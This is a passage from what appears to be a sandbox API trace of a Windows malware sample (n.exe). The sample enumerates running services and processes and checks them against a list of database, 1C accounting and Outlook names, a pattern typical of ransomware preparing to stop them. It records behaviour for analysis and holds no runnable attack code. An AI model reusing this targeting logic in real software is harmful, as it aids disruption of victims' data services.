(lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0181.486] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0181.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0181.486] lstrlenW (lpString="UxSms") returned 5 [0181.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0181.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0181.486] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0181.486] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0181.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0181.486] lstrlenW (lpString="WdiServiceHost") returned 14 [0181.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0181.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0181.486] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0181.486] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0181.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0181.486] lstrlenW (lpString="WdiSystemHost") returned 13 [0181.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0181.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0181.486] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0181.486] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0181.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0181.486] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0181.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0181.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0181.486] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0181.486] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0181.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0181.486] lstrlenW (lpString="Winmgmt") returned 7 [0181.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0181.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0181.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0181.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0181.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0181.487] lstrlenW (lpString="WPDBusEnum") returned 10 [0181.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0181.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0181.487] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0181.487] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0181.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0181.487] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0181.487] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0181.488] Process32FirstW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.489] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.489] lstrlenW (lpString="System") returned 6 [0181.489] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0181.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0181.489] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0181.489] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0181.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0181.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0181.489] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0181.489] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.489] lstrlenW (lpString="smss.exe") returned 8 [0181.490] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0181.490] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.490] lstrlenW (lpString="csrss.exe") returned 9 [0181.490] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0181.490] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0181.490] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0181.490] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0181.490] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0181.490] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0181.490] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.491] lstrlenW (lpString="wininit.exe") returned 11 [0181.491] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0181.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0181.491] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0181.491] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0181.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0181.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0181.491] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0181.491] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.491] lstrlenW (lpString="csrss.exe") returned 9 [0181.491] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0181.491] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0181.491] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0181.491] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0181.491] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0181.491] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0181.491] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.492] lstrlenW (lpString="winlogon.exe") returned 12 [0181.492] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.492] lstrlenW (lpString="services.exe") returned 12 [0181.492] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.492] lstrlenW (lpString="lsass.exe") returned 9 [0181.492] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0181.493] lstrlenW (lpString="lsm.exe") returned 7 [0181.493] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.493] lstrlenW (lpString="svchost.exe") returned 11 [0181.493] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.493] lstrlenW (lpString="svchost.exe") returned 11 [0181.493] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.494] lstrlenW (lpString="svchost.exe") returned 11 [0181.494] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.494] lstrlenW (lpString="svchost.exe") returned 11 [0181.494] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.494] lstrlenW (lpString="svchost.exe") returned 11 [0181.494] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0181.495] lstrlenW (lpString="audiodg.exe") returned 11 [0181.495] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.495] lstrlenW (lpString="svchost.exe") returned 11 [0181.495] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.495] lstrlenW (lpString="explorer.exe") returned 12 [0181.495] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0181.496] lstrlenW (lpString="dwm.exe") returned 7 [0181.496] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.496] lstrlenW (lpString="svchost.exe") returned 11 [0181.496] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.496] lstrlenW (lpString="n.exe") returned 5 [0181.496] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0181.497] lstrlenW (lpString="spoolsv.exe") returned 11 [0181.497] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.497] lstrlenW (lpString="svchost.exe") returned 11 [0181.497] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0181.497] lstrlenW (lpString="taskhost.exe") returned 12 [0181.497] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0181.498] lstrlenW (lpString="reader_sl.exe") returned 13 [0181.498] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.498] lstrlenW (lpString="n.exe") returned 5 [0181.498] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.498] lstrlenW (lpString="n.exe") returned 5 [0181.498] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.499] lstrlenW (lpString="n.exe") returned 5 [0181.499] Process32NextW (in: hSnapshot=0x19c, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0181.499] CloseHandle (hObject=0x19c) returned 1 [0181.499] Sleep (dwMilliseconds=0x1f4) [0182.350] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6659d8 [0182.350] EnumServicesStatusExW (in: hSCManager=0x6659d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0182.351] GetLastError () returned 0xea [0182.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0182.351] EnumServicesStatusExW (in: hSCManager=0x6659d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0182.352] CloseServiceHandle (hSCObject=0x6659d8) returned 1 [0182.352] lstrlenW (lpString="Appinfo") returned 7 [0182.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0182.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0182.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0182.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0182.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0182.352] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0182.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0182.352] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0182.352] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0182.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0182.352] lstrlenW (lpString="AudioSrv") returned 8 [0182.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0182.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0182.352] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0182.352] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0182.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0182.352] lstrlenW (lpString="BFE") returned 3 [0182.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0182.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0182.352] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0182.352] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0182.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0182.352] lstrlenW (lpString="CryptSvc") returned 8 [0182.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0182.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0182.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0182.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0182.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0182.353] lstrlenW (lpString="CscService") returned 10 [0182.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0182.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0182.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0182.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0182.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0182.353] lstrlenW (lpString="DcomLaunch") returned 10 [0182.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0182.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0182.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0182.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0182.353] lstrlenW (lpString="Dhcp") returned 4 [0182.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0182.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0182.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0182.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0182.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0182.353] lstrlenW (lpString="Dnscache") returned 8 [0182.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0182.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0182.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0182.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0182.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0182.353] lstrlenW (lpString="DPS") returned 3 [0182.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0182.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0182.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0182.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0182.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0182.353] lstrlenW (lpString="eventlog") returned 8 [0182.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0182.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0182.354] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0182.354] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0182.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0182.354] lstrlenW (lpString="EventSystem") returned 11 [0182.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0182.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0182.354] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0182.354] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0182.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0182.354] lstrlenW (lpString="gpsvc") returned 5 [0182.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0182.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0182.354] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0182.354] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0182.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0182.354] lstrlenW (lpString="iphlpsvc") returned 8 [0182.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0182.354] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0182.354] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0182.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0182.354] lstrlenW (lpString="LanmanServer") returned 12 [0182.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0182.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0182.354] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0182.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0182.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0182.354] lstrlenW (lpString="LanmanWorkstation") returned 17 [0182.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0182.354] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0182.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0182.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0182.355] lstrlenW (lpString="lmhosts") returned 7 [0182.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0182.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0182.355] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0182.355] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0182.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0182.355] lstrlenW (lpString="MMCSS") returned 5 [0182.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0182.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0182.355] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0182.355] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0182.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0182.355] lstrlenW (lpString="MpsSvc") returned 6 [0182.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 